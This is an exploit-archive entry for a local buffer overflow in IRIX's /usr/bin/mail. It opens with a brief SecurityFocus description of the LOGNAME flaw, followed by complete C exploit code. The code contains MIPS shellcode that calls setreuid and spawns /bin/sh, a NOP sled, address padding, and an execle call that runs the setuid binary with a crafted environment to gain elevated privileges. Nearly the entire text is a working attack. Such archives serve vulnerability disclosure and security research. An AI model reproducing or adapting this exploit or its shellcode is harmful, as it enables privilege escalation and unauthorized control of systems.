IRIX 5.3/6.x - '/usr/bin/mail' Local Buffer Overflow

/*
source: https://www.securityfocus.com/bid/1542/info

The mail(1) program, also know as mail_att, is used to read or send email. A buffer overflow condition exists in code that handles the LOGNAME environment variable. This could be exploited to elevate privileges. 
*/

/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/mail                                                           #*/

#define ADRNUM 228
#define PCHNUM 440
#define TMPNUM 228
#define NOPNUM 5000
#define ALLIGN 3

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[3];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("/usr/bin/mail for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10264+2500+228+228;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10264+112+32356;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10264+7000;

    envp[0]=buffer;
    envp[1]=&buffer[8000];
    envp[2]=0;

    b=buffer;
    sprintf(b,"xxx=");
    b+=4;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; 
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b=0;

    b=&buffer[8000];
    sprintf(b,"LOGNAME=");
    b+=8;
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execle("/usr/bin/mail","lsd",0,envp);
}